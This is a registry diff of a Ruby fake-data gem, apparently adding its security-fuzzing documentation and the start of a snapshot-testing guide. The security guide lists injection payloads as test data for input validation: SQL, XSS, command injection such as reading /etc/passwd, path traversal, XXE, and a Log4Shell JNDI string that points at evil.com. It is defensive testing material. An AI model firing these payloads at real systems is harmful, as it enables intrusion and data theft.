synthra 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.rspec +4 -0
- data/.rubocop.yml +40 -0
- data/.yardopts +18 -0
- data/ACCESS_DOCS.md +116 -0
- data/ADVANCED_FEATURES_SUMMARY.md +245 -0
- data/CHANGELOG.md +498 -0
- data/CODE_OF_CONDUCT.md +122 -0
- data/CONTRIBUTING.md +307 -0
- data/DOCUMENTATION.md +204 -0
- data/DOCUMENTATION_GUIDE.md +194 -0
- data/LICENSE +22 -0
- data/README.md +1458 -0
- data/Rakefile +128 -0
- data/benchmark/README.md +591 -0
- data/benchmark/batch_generation.rb +63 -0
- data/benchmark/engine_comparison.rb +295 -0
- data/benchmark/single_record.rb +108 -0
- data/benchmark/streaming.rb +74 -0
- data/docs/ACTIVERECORD_INFERENCE.md +524 -0
- data/docs/API_SERVER.md +278 -0
- data/docs/CONFIG_FILE.md +315 -0
- data/docs/DATA_CONTRACTS.md +312 -0
- data/docs/ENHANCED_REPL.md +304 -0
- data/docs/FACTORY_BOT.md +271 -0
- data/docs/GITHUB_ACTION.md +420 -0
- data/docs/GRAPHQL_EXPORT.md +303 -0
- data/docs/GRAPHQL_FEDERATION.md +651 -0
- data/docs/HOW_TO_GENERATE_DOCS.md +252 -0
- data/docs/LSP.md +189 -0
- data/docs/MIGRATION_GENERATOR.md +547 -0
- data/docs/MOCK_SERVER.md +280 -0
- data/docs/NATIVE_ENGINE.md +298 -0
- data/docs/OPENAPI_EXPORT.md +252 -0
- data/docs/PERFORMANCE_MODE.md +228 -0
- data/docs/PERSONAS.md +547 -0
- data/docs/PROPERTY_TESTING.md +284 -0
- data/docs/PROTOBUF_EXPORT.md +276 -0
- data/docs/QUALITY_METRICS.md +555 -0
- data/docs/QUICK_REFERENCE.md +88 -0
- data/docs/RAILS_ENGINE.md +404 -0
- data/docs/RAILS_INTEGRATION.md +454 -0
- data/docs/README.md +175 -0
- data/docs/REPL_QUICK_REFERENCE.md +149 -0
- data/docs/RUST_INTEGRATION_GUIDE.md +1376 -0
- data/docs/SCENARIOS.md +576 -0
- data/docs/SECURITY_TESTING.md +318 -0
- data/docs/SNAPSHOT_TESTING.md +308 -0
- data/docs/STRING_TEXT_TYPES_REFERENCE.md +512 -0
- data/docs/TERRAFORM_EXPORT.md +447 -0
- data/docs/TIME_TRAVEL.md +507 -0
- data/docs/USAGE_GUIDE.md +980 -0
- data/docs/WEBHOOK_SIMULATOR.md +579 -0
- data/docs/advanced_features.md +183 -0
- data/docs/api_reference.md +153 -0
- data/docs/behaviors.md +138 -0
- data/docs/best_practices.md +191 -0
- data/docs/dsl_reference.md +172 -0
- data/docs/examples.md +162 -0
- data/docs/generation_modes.md +125 -0
- data/docs/getting_started.md +92 -0
- data/docs/index.html +177 -0
- data/docs/strategic/CLOUD_REGISTRY_ARCHITECTURE.md +268 -0
- data/docs/strategic/SIMD_OPTIMIZATION_STRATEGY.md +153 -0
- data/docs/troubleshooting.md +215 -0
- data/docs/type_reference.md +224 -0
- data/examples/hostile_mode_demo.rb +64 -0
- data/exe/synthra +6 -0
- data/ext/synthra_native/Cargo.lock +972 -0
- data/ext/synthra_native/Cargo.toml +46 -0
- data/ext/synthra_native/extconf.rb +41 -0
- data/ext/synthra_native/src/generator.rs +397 -0
- data/ext/synthra_native/src/lib.rs +229 -0
- data/ext/synthra_native/src/types.rs +1485 -0
- data/lib/generators/synthra/install_generator.rb +86 -0
- data/lib/generators/synthra/templates/api_response.dsl +15 -0
- data/lib/generators/synthra/templates/fake_data.rake +116 -0
- data/lib/generators/synthra/templates/synthra.yml +31 -0
- data/lib/generators/synthra/templates/synthra_support.rb +19 -0
- data/lib/generators/synthra/templates/user.dsl +11 -0
- data/lib/synthra/activerecord_inference.rb +394 -0
- data/lib/synthra/api.rb +381 -0
- data/lib/synthra/api_server.rb +718 -0
- data/lib/synthra/behaviors/applicator.rb +165 -0
- data/lib/synthra/behaviors/base.rb +155 -0
- data/lib/synthra/behaviors/close_connection.rb +60 -0
- data/lib/synthra/behaviors/deprecated.rb +100 -0
- data/lib/synthra/behaviors/failure.rb +69 -0
- data/lib/synthra/behaviors/latency.rb +103 -0
- data/lib/synthra/behaviors/partial_data.rb +83 -0
- data/lib/synthra/behaviors/randomize_order.rb +74 -0
- data/lib/synthra/behaviors/registry.rb +238 -0
- data/lib/synthra/behaviors/simulate_error.rb +79 -0
- data/lib/synthra/cli/commands/base.rb +105 -0
- data/lib/synthra/cli/commands/diff.rb +227 -0
- data/lib/synthra/cli/commands/docs.rb +67 -0
- data/lib/synthra/cli/commands/export.rb +150 -0
- data/lib/synthra/cli/commands/generate.rb +72 -0
- data/lib/synthra/cli/commands/import.rb +80 -0
- data/lib/synthra/cli/commands/lint.rb +53 -0
- data/lib/synthra/cli/commands/live.rb +57 -0
- data/lib/synthra/cli/commands/seed.rb +99 -0
- data/lib/synthra/cli/commands/validate.rb +28 -0
- data/lib/synthra/cli.rb +2471 -0
- data/lib/synthra/config_file.rb +129 -0
- data/lib/synthra/configuration.rb +281 -0
- data/lib/synthra/contracts_registry.rb +408 -0
- data/lib/synthra/database_seeder.rb +268 -0
- data/lib/synthra/deterministic_ids.rb +218 -0
- data/lib/synthra/documentation_generator.rb +414 -0
- data/lib/synthra/engine.rb +251 -0
- data/lib/synthra/errors.rb +1169 -0
- data/lib/synthra/export/base.rb +85 -0
- data/lib/synthra/export/csv.rb +101 -0
- data/lib/synthra/export/graphql.rb +266 -0
- data/lib/synthra/export/graphql_federation.rb +377 -0
- data/lib/synthra/export/graphviz.rb +258 -0
- data/lib/synthra/export/javascript.rb +327 -0
- data/lib/synthra/export/json_data.rb +61 -0
- data/lib/synthra/export/json_schema.rb +290 -0
- data/lib/synthra/export/openapi.rb +514 -0
- data/lib/synthra/export/protobuf.rb +483 -0
- data/lib/synthra/export/python.rb +560 -0
- data/lib/synthra/export/sql.rb +381 -0
- data/lib/synthra/export/sql_insert.rb +152 -0
- data/lib/synthra/export/terraform.rb +501 -0
- data/lib/synthra/export/type_mapping.rb +389 -0
- data/lib/synthra/export/typescript.rb +300 -0
- data/lib/synthra/export/xml_data.rb +104 -0
- data/lib/synthra/export/yaml_data.rb +56 -0
- data/lib/synthra/export.rb +404 -0
- data/lib/synthra/factory_bot_integration.rb +157 -0
- data/lib/synthra/field.rb +440 -0
- data/lib/synthra/functions/registry.rb +104 -0
- data/lib/synthra/generator/context.rb +372 -0
- data/lib/synthra/generator/engine.rb +336 -0
- data/lib/synthra/generator/faker_adapter.rb +425 -0
- data/lib/synthra/generator/modes.rb +444 -0
- data/lib/synthra/generator/resolver.rb +256 -0
- data/lib/synthra/generator/rng.rb +273 -0
- data/lib/synthra/generator/streamer.rb +63 -0
- data/lib/synthra/generator/uniqueness.rb +118 -0
- data/lib/synthra/initializer.rb +97 -0
- data/lib/synthra/limits.rb +279 -0
- data/lib/synthra/live_preview.rb +518 -0
- data/lib/synthra/loader_config.rb +78 -0
- data/lib/synthra/lsp/server.rb +689 -0
- data/lib/synthra/migration_generator.rb +301 -0
- data/lib/synthra/mixin.rb +174 -0
- data/lib/synthra/mock_server.rb +458 -0
- data/lib/synthra/native_engine.rb +304 -0
- data/lib/synthra/openapi_importer.rb +228 -0
- data/lib/synthra/output/json_formatter.rb +40 -0
- data/lib/synthra/output/ndjson_formatter.rb +55 -0
- data/lib/synthra/parser/ast.rb +1287 -0
- data/lib/synthra/parser/lexer.rb +1152 -0
- data/lib/synthra/parser/parser.rb +1664 -0
- data/lib/synthra/parser/tokens.rb +461 -0
- data/lib/synthra/performance_mode.rb +364 -0
- data/lib/synthra/personas.rb +397 -0
- data/lib/synthra/property_testing.rb +172 -0
- data/lib/synthra/quality_metrics.rb +405 -0
- data/lib/synthra/rails_test_helper.rb +248 -0
- data/lib/synthra/registry.rb +533 -0
- data/lib/synthra/relationships.rb +193 -0
- data/lib/synthra/repl/enhanced_repl.rb +607 -0
- data/lib/synthra/repl/formatter.rb +191 -0
- data/lib/synthra/scenarios.rb +423 -0
- data/lib/synthra/schema.rb +605 -0
- data/lib/synthra/schema_inheritance.rb +104 -0
- data/lib/synthra/schema_versioning.rb +212 -0
- data/lib/synthra/snapshot_testing.rb +199 -0
- data/lib/synthra/time_travel.rb +338 -0
- data/lib/synthra/type_definitions.rb +274 -0
- data/lib/synthra/types/address_location/addresses.rb +125 -0
- data/lib/synthra/types/address_location/airports.rb +200 -0
- data/lib/synthra/types/address_location/banks_hospitals.rb +207 -0
- data/lib/synthra/types/address_location/locations.rb +406 -0
- data/lib/synthra/types/base.rb +48 -0
- data/lib/synthra/types/commerce_products/commerce.rb +119 -0
- data/lib/synthra/types/commerce_products/companies.rb +71 -0
- data/lib/synthra/types/commerce_products/construction.rb +126 -0
- data/lib/synthra/types/commerce_products/products.rb +205 -0
- data/lib/synthra/types/core/collections.rb +513 -0
- data/lib/synthra/types/core/defaults.rb +76 -0
- data/lib/synthra/types/core/enums.rb +102 -0
- data/lib/synthra/types/core/identifiers.rb +445 -0
- data/lib/synthra/types/core/primitives.rb +586 -0
- data/lib/synthra/types/core/references.rb +466 -0
- data/lib/synthra/types/core/sequences.rb +304 -0
- data/lib/synthra/types/crypto/crypto.rb +162 -0
- data/lib/synthra/types/date_time/dates.rb +387 -0
- data/lib/synthra/types/finance_banking/banking.rb +424 -0
- data/lib/synthra/types/finance_banking/credit_cards.rb +24 -0
- data/lib/synthra/types/finance_banking/identifiers.rb +93 -0
- data/lib/synthra/types/formula.rb +184 -0
- data/lib/synthra/types/health_medical/medical.rb +150 -0
- data/lib/synthra/types/hostile_payloads.rb +122 -0
- data/lib/synthra/types/json_array.rb +51 -0
- data/lib/synthra/types/media_entertainment/media.rb +62 -0
- data/lib/synthra/types/naughty_string.rb +30 -0
- data/lib/synthra/types/personal_names/chinese.rb +41 -0
- data/lib/synthra/types/personal_names/identifiers.rb +187 -0
- data/lib/synthra/types/personal_names/names.rb +246 -0
- data/lib/synthra/types/personal_names/national_id.rb +89 -0
- data/lib/synthra/types/personal_names/titles_suffixes.rb +41 -0
- data/lib/synthra/types/regex.rb +248 -0
- data/lib/synthra/types/registry.rb +182 -0
- data/lib/synthra/types/repeating_element.rb +50 -0
- data/lib/synthra/types/scenario.rb +29 -0
- data/lib/synthra/types/technology_internet/apps.rb +67 -0
- data/lib/synthra/types/technology_internet/communication.rb +162 -0
- data/lib/synthra/types/technology_internet/devices.rb +80 -0
- data/lib/synthra/types/technology_internet/formats.rb +139 -0
- data/lib/synthra/types/technology_internet/networking.rb +143 -0
- data/lib/synthra/types/template.rb +92 -0
- data/lib/synthra/types/text_content/business.rb +128 -0
- data/lib/synthra/types/text_content/colors.rb +70 -0
- data/lib/synthra/types/text_content/misc.rb +237 -0
- data/lib/synthra/types/text_content/security.rb +130 -0
- data/lib/synthra/types/text_content/text_generation.rb +532 -0
- data/lib/synthra/types/travel/travel.rb +150 -0
- data/lib/synthra/utils/string_distance.rb +133 -0
- data/lib/synthra/validator/dsl_validator.rb +339 -0
- data/lib/synthra/validator/path_validator.rb +615 -0
- data/lib/synthra/version.rb +35 -0
- data/lib/synthra/webhook_simulator.rb +341 -0
- data/lib/synthra.rb +259 -0
- data/schemas/address.dsl +16 -0
- data/schemas/api_response.dsl +8 -0
- data/schemas/error_payload.dsl +9 -0
- data/schemas/order.dsl +10 -0
- data/schemas/order_item.dsl +8 -0
- data/schemas/payment.dsl +11 -0
- data/schemas/social_post.dsl +13 -0
- data/schemas/user.dsl +10 -0
- data/scripts/batch_fix_all.rb +96 -0
- data/scripts/delete_old_files.rb +32 -0
- data/scripts/fix_all_grouped_files.rb +137 -0
- data/scripts/fix_all_indentation.rb +48 -0
- data/scripts/fix_all_syntax.rb +124 -0
- data/scripts/fix_grouped_files.rb +184 -0
- data/scripts/fix_syntax_errors.rb +108 -0
- data/scripts/group_domain_types.rb +112 -0
- data/scripts/group_domain_types_fixed.rb +150 -0
- data/scripts/merge_domains_to_one_file.rb +68 -0
- data/scripts/move_existing_types.rb +130 -0
- data/scripts/split_grouped_types.rb +142 -0
- data/tech_docs/README.md +134 -0
- data/tech_docs/advanced/streaming.md +405 -0
- data/tech_docs/advanced/thread_safety.md +253 -0
- data/tech_docs/api/overview.md +485 -0
- data/tech_docs/appendices/type_chart.md +193 -0
- data/tech_docs/basic_concepts.md +383 -0
- data/tech_docs/behaviors/overview.md +346 -0
- data/tech_docs/dsl/complex_types.md +790 -0
- data/tech_docs/dsl/core_types.md +464 -0
- data/tech_docs/dsl/datetime_types.md +325 -0
- data/tech_docs/dsl/field_modifiers.md +414 -0
- data/tech_docs/dsl/grammar.md +431 -0
- data/tech_docs/dsl/schema_definition.md +399 -0
- data/tech_docs/export/README.md +276 -0
- data/tech_docs/installation.md +273 -0
- data/tech_docs/integration/ci_cd.md +707 -0
- data/tech_docs/integration/ci_cd_guide.md +579 -0
- data/tech_docs/integration/factory_bot.md +485 -0
- data/tech_docs/integration/rails.md +630 -0
- data/tech_docs/integration/rspec.md +449 -0
- data/tech_docs/modes/overview.md +350 -0
- data/tech_docs/performance/NATIVE_RUST_EXTENSION.md +1270 -0
- data/tech_docs/performance/OPTIMIZATION_GUIDE.md +901 -0
- data/tech_docs/quick_start.md +256 -0
- data/tech_docs/templates/README.md +805 -0
- data/tech_docs/tutorials/advanced.md +371 -0
- data/tech_docs/tutorials/getting_started.md +189 -0
- data/tech_docs/tutorials/intermediate.md +231 -0
- data/tech_docs/tutorials/template_gallery.md +569 -0
- data/tech_example/01_basic_usage.rb +238 -0
- data/tech_example/02_types_demo.rb +336 -0
- data/tech_example/04_cli_usage.md +429 -0
- data/tech_example/05_database_seeding.rb +283 -0
- data/tech_example/07_rspec_integration.rb +359 -0
- data/tech_example/10_custom_types.rb +387 -0
- data/tech_example/12_behaviors.rb +372 -0
- data/tech_example/13_twitter_dm_example.rb +120 -0
- data/tech_example/14_exact_json_structure.rb +253 -0
- data/tech_example/16_lsp_server.rb +56 -0
- data/tech_example/17_property_testing.rb +92 -0
- data/tech_example/18_enhanced_repl.rb +120 -0
- data/tech_example/19_security_fuzzing.rb +145 -0
- data/tech_example/NEW_FEATURES.md +169 -0
- data/tech_example/README.md +118 -0
- data/tech_example/schemas/api_response.dsl +123 -0
- data/tech_example/schemas/ecommerce.dsl +121 -0
- data/tech_example/schemas/twitter_dm.dsl +109 -0
- data/tech_example/schemas/user.dsl +36 -0
- data/vscode-extension/README.md +246 -0
- data/vscode-extension/language-configuration.json +31 -0
- data/vscode-extension/package.json +55 -0
- data/vscode-extension/snippets/fakedatadsl.json +198 -0
- data/vscode-extension/syntaxes/fakedatadsl.tmLanguage.json +128 -0
- metadata +478 -0
|
@@ -0,0 +1,318 @@
|
|
|
1
|
+
# Security Fuzzing (Hostile Mode)
|
|
2
|
+
|
|
3
|
+
FakeDataDSL includes a `:hostile` generation mode for security testing, generating attack payloads designed to test API endpoints and validation logic.
|
|
4
|
+
|
|
5
|
+
## Quick Start
|
|
6
|
+
|
|
7
|
+
```ruby
|
|
8
|
+
# Generate hostile data
|
|
9
|
+
schema.generate(mode: :hostile)
|
|
10
|
+
|
|
11
|
+
# CLI
|
|
12
|
+
fake_data_dsl generate User --mode hostile
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
## Attack Vectors
|
|
16
|
+
|
|
17
|
+
### SQL Injection
|
|
18
|
+
|
|
19
|
+
```ruby
|
|
20
|
+
# Generated payloads include:
|
|
21
|
+
"' OR '1'='1"
|
|
22
|
+
"'; DROP TABLE users;--"
|
|
23
|
+
"' UNION SELECT * FROM users--"
|
|
24
|
+
"1' OR '1'='1"
|
|
25
|
+
"admin'--"
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
### XSS (Cross-Site Scripting)
|
|
29
|
+
|
|
30
|
+
```ruby
|
|
31
|
+
# Generated payloads include:
|
|
32
|
+
"<script>alert(1)</script>"
|
|
33
|
+
"<img src=x onerror=alert(1)>"
|
|
34
|
+
"<svg onload=alert(1)>"
|
|
35
|
+
"javascript:alert(1)"
|
|
36
|
+
"<body onload=alert(1)>"
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
### Buffer Overflow
|
|
40
|
+
|
|
41
|
+
```ruby
|
|
42
|
+
# Generated payloads include:
|
|
43
|
+
"A" * 1000 # 1KB
|
|
44
|
+
"A" * 10000 # 10KB
|
|
45
|
+
"A" * 100000 # 100KB
|
|
46
|
+
"A" * 65536 # 64KB
|
|
47
|
+
"\x00" * 1000 # Null bytes
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
### Unicode Attacks
|
|
51
|
+
|
|
52
|
+
```ruby
|
|
53
|
+
# Generated payloads include:
|
|
54
|
+
"\u202E" + "evil" + "\u202D" # RTL override
|
|
55
|
+
"\uFEFF" + "text" # BOM
|
|
56
|
+
"\u200B" * 100 # Zero-width spaces
|
|
57
|
+
"Zalgo: H\u0301\u0302..." # Zalgo text
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
### Path Traversal
|
|
61
|
+
|
|
62
|
+
```ruby
|
|
63
|
+
# Generated payloads include:
|
|
64
|
+
"../../../etc/passwd"
|
|
65
|
+
"..\\..\\..\\windows\\system32\\config\\sam"
|
|
66
|
+
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### Command Injection
|
|
70
|
+
|
|
71
|
+
```ruby
|
|
72
|
+
# Generated payloads include:
|
|
73
|
+
"; ls -la"
|
|
74
|
+
"| cat /etc/passwd"
|
|
75
|
+
"&& whoami"
|
|
76
|
+
"`id`"
|
|
77
|
+
"$(whoami)"
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### LDAP Injection
|
|
81
|
+
|
|
82
|
+
```ruby
|
|
83
|
+
# Generated payloads include:
|
|
84
|
+
"*)(uid=*))(|(uid=*"
|
|
85
|
+
"*))%00"
|
|
86
|
+
"*()|&"
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
### XXE Injection
|
|
90
|
+
|
|
91
|
+
```ruby
|
|
92
|
+
# Generated payloads include:
|
|
93
|
+
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xee SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>'
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
### Log4Shell
|
|
97
|
+
|
|
98
|
+
```ruby
|
|
99
|
+
# Generated payloads include:
|
|
100
|
+
"${jndi:ldap://evil.com/a}"
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
## Usage Examples
|
|
104
|
+
|
|
105
|
+
### API Endpoint Testing
|
|
106
|
+
|
|
107
|
+
```ruby
|
|
108
|
+
# Test API endpoint with hostile inputs
|
|
109
|
+
schema = FakeDataDSL.load("schemas/user.dsl")
|
|
110
|
+
hostile_data = schema.generate_many(1000, mode: :hostile)
|
|
111
|
+
|
|
112
|
+
hostile_data.each do |payload|
|
|
113
|
+
response = post("/api/users", payload)
|
|
114
|
+
|
|
115
|
+
# Should reject hostile input
|
|
116
|
+
expect(response.status).to eq(400)
|
|
117
|
+
expect(response.body).not_to include("error")
|
|
118
|
+
end
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
### Validation Testing
|
|
122
|
+
|
|
123
|
+
```ruby
|
|
124
|
+
# Test that validation rejects hostile input
|
|
125
|
+
verify_property("User", count: 500, mode: :hostile) do |user_data|
|
|
126
|
+
user = User.new(user_data)
|
|
127
|
+
expect(user).not_to be_valid
|
|
128
|
+
end
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### SQL Injection Testing
|
|
132
|
+
|
|
133
|
+
```ruby
|
|
134
|
+
# Test SQL injection protection
|
|
135
|
+
hostile_users = schema.generate_many(100, mode: :hostile)
|
|
136
|
+
|
|
137
|
+
hostile_users.each do |user|
|
|
138
|
+
# Should escape SQL properly
|
|
139
|
+
User.create(user)
|
|
140
|
+
expect(User.count).to eq(1) # Only one user, not injected
|
|
141
|
+
end
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
### XSS Testing
|
|
145
|
+
|
|
146
|
+
```ruby
|
|
147
|
+
# Test XSS protection
|
|
148
|
+
hostile_data = schema.generate(mode: :hostile)
|
|
149
|
+
|
|
150
|
+
# Should escape HTML
|
|
151
|
+
rendered = render_user_profile(hostile_data)
|
|
152
|
+
expect(rendered).not_to include("<script>")
|
|
153
|
+
expect(rendered).to include("<script>") # Escaped
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
## Integration with Property Testing
|
|
157
|
+
|
|
158
|
+
```ruby
|
|
159
|
+
include FakeDataDSL::PropertyTesting
|
|
160
|
+
|
|
161
|
+
RSpec.describe "User API Security" do
|
|
162
|
+
it "rejects hostile input" do
|
|
163
|
+
verify_property("User", count: 1000, mode: :hostile) do |user_data|
|
|
164
|
+
response = post("/api/users", user_data)
|
|
165
|
+
expect(response.status).to eq(400)
|
|
166
|
+
end
|
|
167
|
+
end
|
|
168
|
+
end
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
## Custom Hostile Payloads
|
|
172
|
+
|
|
173
|
+
You can extend hostile payloads by registering custom types:
|
|
174
|
+
|
|
175
|
+
```ruby
|
|
176
|
+
FakeDataDSL.register_type(:custom_attack) do |rng, context, args, mode|
|
|
177
|
+
if mode == :hostile
|
|
178
|
+
rng.sample([
|
|
179
|
+
"custom_attack_1",
|
|
180
|
+
"custom_attack_2"
|
|
181
|
+
])
|
|
182
|
+
else
|
|
183
|
+
"normal_value"
|
|
184
|
+
end
|
|
185
|
+
end
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
## Best Practices
|
|
189
|
+
|
|
190
|
+
### 1. Use in Test Environment Only
|
|
191
|
+
|
|
192
|
+
```ruby
|
|
193
|
+
# Only enable hostile mode in test environment
|
|
194
|
+
if Rails.env.test?
|
|
195
|
+
schema.generate(mode: :hostile)
|
|
196
|
+
end
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
### 2. Test Validation Logic
|
|
200
|
+
|
|
201
|
+
```ruby
|
|
202
|
+
# Ensure validation rejects hostile input
|
|
203
|
+
hostile_data = schema.generate(mode: :hostile)
|
|
204
|
+
user = User.new(hostile_data)
|
|
205
|
+
expect(user).not_to be_valid
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
### 3. Test API Endpoints
|
|
209
|
+
|
|
210
|
+
```ruby
|
|
211
|
+
# Test that APIs properly sanitize input
|
|
212
|
+
hostile_data = schema.generate_many(100, mode: :hostile)
|
|
213
|
+
hostile_data.each do |payload|
|
|
214
|
+
response = post("/api/users", payload)
|
|
215
|
+
expect(response.status).to eq(400)
|
|
216
|
+
end
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
### 4. Combine with Other Modes
|
|
220
|
+
|
|
221
|
+
```ruby
|
|
222
|
+
# Test with mixed mode (includes hostile)
|
|
223
|
+
schema.generate(mode: :mixed)
|
|
224
|
+
# 80% random, 15% edge, 5% invalid (hostile included)
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
## Payload Library
|
|
228
|
+
|
|
229
|
+
All hostile payloads are defined in `FakeDataDSL::HostilePayloads`:
|
|
230
|
+
|
|
231
|
+
```ruby
|
|
232
|
+
FakeDataDSL::HostilePayloads::SQL_INJECTION
|
|
233
|
+
FakeDataDSL::HostilePayloads::XSS
|
|
234
|
+
FakeDataDSL::HostilePayloads::BUFFER_OVERFLOW
|
|
235
|
+
FakeDataDSL::HostilePayloads::UNICODE_ATTACKS
|
|
236
|
+
FakeDataDSL::HostilePayloads::PATH_TRAVERSAL
|
|
237
|
+
FakeDataDSL::HostilePayloads::COMMAND_INJECTION
|
|
238
|
+
FakeDataDSL::HostilePayloads::LDAP_INJECTION
|
|
239
|
+
FakeDataDSL::HostilePayloads::XXE_INJECTION
|
|
240
|
+
FakeDataDSL::HostilePayloads::ALL # All payloads combined
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
## Type-Specific Hostile Generation
|
|
244
|
+
|
|
245
|
+
Some types have specialized hostile generation:
|
|
246
|
+
|
|
247
|
+
### Text Type
|
|
248
|
+
|
|
249
|
+
```ruby
|
|
250
|
+
# Text fields generate random hostile payloads
|
|
251
|
+
schema = FakeDataDSL.parse("User:\n name: text")
|
|
252
|
+
result = schema.generate(mode: :hostile)
|
|
253
|
+
# result["name"] may contain SQL injection, XSS, etc.
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
### UUID Type
|
|
257
|
+
|
|
258
|
+
```ruby
|
|
259
|
+
# UUID fields generate malformed UUIDs
|
|
260
|
+
schema = FakeDataDSL.parse("User:\n id: uuid")
|
|
261
|
+
result = schema.generate(mode: :hostile)
|
|
262
|
+
# result["id"] may contain:
|
|
263
|
+
# - "' OR '1'='1" (SQL injection attempt)
|
|
264
|
+
# - "../../../etc/passwd" (Path traversal)
|
|
265
|
+
# - "<script>alert('xss')</script>" (XSS)
|
|
266
|
+
# - Malformed UUIDs
|
|
267
|
+
```
|
|
268
|
+
|
|
269
|
+
## CLI Usage
|
|
270
|
+
|
|
271
|
+
```bash
|
|
272
|
+
# Generate hostile data
|
|
273
|
+
fake_data_dsl generate User --mode hostile
|
|
274
|
+
|
|
275
|
+
# Generate multiple hostile records
|
|
276
|
+
fake_data_dsl generate User --mode hostile --count 1000
|
|
277
|
+
|
|
278
|
+
# Export hostile data for testing
|
|
279
|
+
fake_data_dsl export User -f json -c 1000 --mode hostile -o hostile_test_data.json
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
## REPL Usage
|
|
283
|
+
|
|
284
|
+
```bash
|
|
285
|
+
fake_data_dsl repl
|
|
286
|
+
|
|
287
|
+
> mode hostile
|
|
288
|
+
✅ Mode set to hostile
|
|
289
|
+
|
|
290
|
+
> gen User
|
|
291
|
+
{
|
|
292
|
+
"id": "' OR '1'='1",
|
|
293
|
+
"name": "<script>alert(1)</script>",
|
|
294
|
+
"email": "'; DROP TABLE users;--"
|
|
295
|
+
}
|
|
296
|
+
|
|
297
|
+
> table User
|
|
298
|
+
────────────────────┼───────────────────────────────
|
|
299
|
+
id │ "' OR '1'='1"
|
|
300
|
+
name │ "<script>alert(1)</script>"
|
|
301
|
+
email │ "'; DROP TABLE users;--"
|
|
302
|
+
```
|
|
303
|
+
|
|
304
|
+
## Security Considerations
|
|
305
|
+
|
|
306
|
+
⚠️ **Warning**: Hostile mode generates actual attack payloads. Use only in:
|
|
307
|
+
|
|
308
|
+
- Test environments
|
|
309
|
+
- Isolated systems
|
|
310
|
+
- Security testing scenarios
|
|
311
|
+
|
|
312
|
+
Never use hostile mode in production or with real databases.
|
|
313
|
+
|
|
314
|
+
## See Also
|
|
315
|
+
|
|
316
|
+
- [Generation Modes](tech_docs/modes/overview.md)
|
|
317
|
+
- [Property-Based Testing](docs/PROPERTY_TESTING.md)
|
|
318
|
+
- [CLI Guide](tech_example/04_cli_usage.md)
|
|
@@ -0,0 +1,308 @@
|
|
|
1
|
+
# Snapshot Testing
|
|
2
|
+
|
|
3
|
+
Snapshot testing ensures your schemas generate consistent, expected output. It's perfect for catching unintended schema changes in CI pipelines.
|
|
4
|
+
|
|
5
|
+
## Quick Start
|
|
6
|
+
|
|
7
|
+
### 1. Include the Module
|
|
8
|
+
|
|
9
|
+
```ruby
|
|
10
|
+
# spec/spec_helper.rb
|
|
11
|
+
require 'fake_data_dsl/snapshot_testing'
|
|
12
|
+
|
|
13
|
+
RSpec.configure do |config|
|
|
14
|
+
config.include FakeDataDSL::SnapshotTesting
|
|
15
|
+
end
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
### 2. Write Snapshot Tests
|
|
19
|
+
|
|
20
|
+
```ruby
|
|
21
|
+
# spec/schemas/snapshots_spec.rb
|
|
22
|
+
RSpec.describe "Schema Snapshots" do
|
|
23
|
+
let(:schema) { FakeDataDSL.load("schemas/user.dsl") }
|
|
24
|
+
|
|
25
|
+
it "generates stable output" do
|
|
26
|
+
expect_snapshot(schema, seed: 42)
|
|
27
|
+
end
|
|
28
|
+
end
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
### 3. Run Tests
|
|
32
|
+
|
|
33
|
+
```bash
|
|
34
|
+
# First run creates snapshots
|
|
35
|
+
bundle exec rspec spec/schemas/snapshots_spec.rb
|
|
36
|
+
|
|
37
|
+
# Subsequent runs compare against snapshots
|
|
38
|
+
bundle exec rspec spec/schemas/snapshots_spec.rb
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
## How It Works
|
|
42
|
+
|
|
43
|
+
1. **First Run**: Generates data with a seed and saves it as a JSON snapshot
|
|
44
|
+
2. **Subsequent Runs**: Generates data with the same seed and compares to the snapshot
|
|
45
|
+
3. **On Mismatch**: Test fails, showing the difference
|
|
46
|
+
|
|
47
|
+
## API Reference
|
|
48
|
+
|
|
49
|
+
### `expect_snapshot(schema, seed:, update:)`
|
|
50
|
+
|
|
51
|
+
Main method for snapshot testing.
|
|
52
|
+
|
|
53
|
+
```ruby
|
|
54
|
+
# Create or verify snapshot
|
|
55
|
+
expect_snapshot(schema, seed: 42)
|
|
56
|
+
|
|
57
|
+
# Force update snapshot (when changes are intentional)
|
|
58
|
+
expect_snapshot(schema, seed: 42, update: true)
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
**Parameters:**
|
|
62
|
+
- `schema` - The FakeDataDSL schema to test
|
|
63
|
+
- `seed` - Random seed for deterministic generation (default: 42)
|
|
64
|
+
- `update` - If true, update the snapshot file (default: false)
|
|
65
|
+
|
|
66
|
+
### `match_snapshot(schema_name)`
|
|
67
|
+
|
|
